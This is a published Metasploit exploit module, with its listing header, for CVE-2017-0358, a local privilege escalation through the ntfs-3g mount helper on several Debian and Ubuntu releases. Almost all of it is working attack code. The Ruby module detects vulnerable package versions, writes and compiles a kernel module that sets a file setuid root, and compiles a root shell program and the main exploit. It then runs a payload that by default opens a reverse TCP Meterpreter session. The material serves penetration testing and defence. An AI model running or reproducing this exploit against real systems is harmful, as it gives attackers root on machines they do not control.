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Debian/Ubuntu ntfs-3g Local Privilege Escalation

Debian/Ubuntu ntfs-3g Local Privilege Escalation
Posted Apr 4, 2017
Authored by h00die, Jann Horn | Site metasploit.com

ntfs-3g mount helper in Ubuntu 16.04, 16.10, Debian 7, 8, and possibly 9 does not properly sanitize the environment when executing modprobe. This can be abused to load a kernel module and execute a binary payload as the root user.

tags | exploit, kernel, root
systems | linux, debian, ubuntu
advisories | CVE-2017-0358
SHA-256 | 2ca15f26f7b775b7c9e764235153327a7035b9b299e27a2b52603944e606c8c3

Debian/Ubuntu ntfs-3g Local Privilege Escalation

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking

include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Exploit::FileDropper

def initialize(info={})
super( update_info( info, {
'Name' => 'Debian/Ubuntu ntfs-3g Local Privilege Escalation',
'Description' => %q{
ntfs-3g mount helper in Ubuntu 16.04, 16.10, Debian 7, 8, and possibly 9 does not properly sanitize the environment when executing modprobe.
This can be abused to load a kernel module and execute a binary payload as the root user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'jannh@google.com', # discovery
'h00die <mike@shorebreaksecurity.com>' # metasploit module
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'References' =>
[
[ 'CVE', '2017-0358' ],
[ 'EDB', '41356' ],
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1072' ]
],
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultOptions' =>
{
'payload' => 'linux/x64/mettle/reverse_tcp',
'PrependFork' => true,
},
'DefaultTarget' => 1,
'DisclosureDate' => 'Jan 05 2017',
'Privileged' => true
}
))
register_options([
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
], self.class)
end

def check

# check if linux headers were installed on Debian (not ubuntu). The 'common' headers won't work.
def headers_installed?()
output = cmd_exec('dpkg -l | grep \'^ii\' | grep linux-headers.*[^common]{7}')
if output
if output.include?('linux-headers')
return true
else
print_error('Linux kernel headers not available, compiling will fail.')
return false
end
end
false
end

output = cmd_exec('dpkg -l ntfs-3g | grep \'^ii\'')
if output
if output.include?('1:2015.3.14AR.1-1build1') #Ubuntu 16.04 LTS
print_good('Vulnerable Ubuntu 16.04 detected')
CheckCode::Appears
elsif output.include?('1:2016.2.22AR.1-3') #Ubuntu 16.10
print_good('Vulnerable Ubuntu 16.10 detected')
CheckCode::Appears
elsif output.include?('1:2012.1.15AR.5-2.1+deb7u2') #Debian Wheezy, we also need linux-source installed
print_good('Vulnerable Debian 7 (wheezy) detected')
if headers_installed?()
CheckCode::Appears
else
CheckCode::Safe
end
CheckCode::Appears
elsif output.include?('1:2014.2.15AR.2-1+deb8u2') #Debian Jessie, we also need linux-source installed
print_good('Vulnerable Debian 8 (jessie) detected')
if headers_installed?()
CheckCode::Appears
else
CheckCode::Safe
end
CheckCode::Appears
else
print_error("Version installed not vulnerable: #{output}")
CheckCode::Safe
end
else
print_error('ntfs-3g not installed')
CheckCode::Safe
end
end

def exploit
def upload_and_compile(filename, file_path, file_content, compile=nil)
rm_f "#{file_path}"
if not compile.nil?
rm_f "#{file_path}.c"
vprint_status("Writing #{filename} to #{file_path}.c")
write_file("#{file_path}.c", file_content)
register_file_for_cleanup("#{file_path}.c")
output = cmd_exec(compile)
if output != ''
print_error(output)
fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile")
end
else
vprint_status("Writing #{filename} to #{file_path}")
write_file(file_path, file_content)
end
cmd_exec("chmod +x #{file_path}");
register_file_for_cleanup(file_path)
end

# These are direct copies of the modules from EDB
rootmod = %q{
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cred.h>
#include <linux/syscalls.h>
#include <linux/kallsyms.h>

static int suidfile_fd = -1;
module_param(suidfile_fd, int, 0);

static int __init init_rootmod(void) {
int (*sys_fchown_)(int fd, int uid, int gid);
int (*sys_fchmod_)(int fd, int mode);
const struct cred *kcred, *oldcred;

sys_fchown_ = (void*)kallsyms_lookup_name("sys_fchown");
sys_fchmod_ = (void*)kallsyms_lookup_name("sys_fchmod");

printk(KERN_INFO "rootmod loading\n");
kcred = prepare_kernel_cred(NULL);
oldcred = override_creds(kcred);
sys_fchown_(suidfile_fd, 0, 0);
sys_fchmod_(suidfile_fd, 06755);
revert_creds(oldcred);
return -ELOOP; /* fake error because we don't actually want to end up with a loaded module */
}

static void __exit cleanup_rootmod(void) {}

module_init(init_rootmod);
module_exit(cleanup_rootmod);

MODULE_LICENSE("GPL v2");
}

rootshell = %q{
#include <unistd.h>
#include <err.h>
#include <stdio.h>
#include <sys/types.h>

int main(void) {
if (setuid(0) || setgid(0))
err(1, "setuid/setgid");
fputs("we have root privs now...\n", stderr);
execl("/bin/bash", "bash", NULL);
err(1, "execl");
}
}

# we moved sploit.c off since it was so big to the external sources folder
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2017-0358', 'sploit.c')
fd = ::File.open( path, "rb")
sploit = fd.read(fd.stat.size)
fd.close

rootmod_filename = 'rootmod'
rootmod_path = "#{datastore['WritableDir']}/#{rootmod_filename}"
rootshell_filename = 'rootshell'
rootshell_path = "#{datastore['WritableDir']}/#{rootshell_filename}"
sploit_filename = 'sploit'
sploit_path = "#{datastore['WritableDir']}/#{sploit_filename}"
payload_filename = rand_text_alpha(8)
payload_path = "#{datastore['WritableDir']}/#{payload_filename}"

if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end

def has_prereqs?()
def check_gcc?()
gcc = cmd_exec('which gcc')
if gcc.include?('gcc')
vprint_good('gcc is installed')
return true
else
print_error('gcc is not installed. Compiling will fail.')
return false
end
end

def check_make?()
make = cmd_exec('which make')
if make.include?('make')
vprint_good('make is installed')
return true
else
print_error('make is not installed. Compiling will fail.')
return false
end
end

return check_make?() && check_gcc?()
end

if has_prereqs?()
vprint_status('Live compiling exploit on system')
else
fail_with(Failure::Unknown, 'make and gcc required on system to build exploit for kernel')
end

# make our substitutions so things are dynamic
rootshell.gsub!(/execl\("\/bin\/bash", "bash", NULL\);/,
"return execl(\"#{payload_path}\", \"\", NULL);") #launch our payload, and do it in a return to not freeze the executable
print_status('Writing files to target')
cmd_exec("cd #{datastore['WritableDir']}")

#write all the files and compile. This is equivalent to the original compile.sh
#gcc -o rootshell rootshell.c -Wall
upload_and_compile('rootshell', rootshell_path, rootshell, "gcc -o #{rootshell_filename} #{rootshell_filename}.c -Wall")
#gcc -o sploit sploit.c -Wall -std=gnu99
upload_and_compile('sploit', sploit_path, sploit, "gcc -o #{sploit_filename} #{sploit_filename}.c -Wall -std=gnu99")
#make -C /lib/modules/$(uname -r)/build M=$(pwd) modules
upload_and_compile('rootmod', "#{rootmod_path}.c", rootmod, nil)
upload_and_compile('Makefile', "#{datastore['WritableDir']}/Makefile", 'obj-m := rootmod.o', nil)
cmd_exec('make -C /lib/modules/$(uname -r)/build M=$(pwd) modules')
upload_and_compile('payload', payload_path, generate_payload_exe)

#This is equivalent to the 2nd half of the compile.sh file
cmd_exec('mkdir -p depmod_tmp/lib/modules/$(uname -r)')
cmd_exec('cp rootmod.ko depmod_tmp/lib/modules/$(uname -r)/')
cmd_exec('/sbin/depmod -b depmod_tmp/')
cmd_exec('cp depmod_tmp/lib/modules/$(uname -r)/*.bin .')
cmd_exec('rm -rf depmod_tmp')

register_file_for_cleanup("#{rootmod_path}.ko")
register_file_for_cleanup("#{rootmod_path}.mod.c")
register_file_for_cleanup("#{rootmod_path}.mod.o")
register_file_for_cleanup("#{rootmod_path}.o")

# and here we go!
print_status('Starting execution of priv esc.')
output = cmd_exec(sploit_path)
unless session_created?
# this could also be output.include?('we have root privs now...'), however session_created handles some additional cases like elevation happened,
# but binary payload was caught, or NIPS shut down the callback etc.
vprint_error(output)
end
end

def on_new_session(session)
# if we don't /bin/bash here, our payload times out
# [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:37022) at 2016-09-27 14:15:04 -0400
# [*] 192.168.199.130 - Meterpreter session 2 closed. Reason: Died
session.shell_command_token('/bin/bash')
super
end
end
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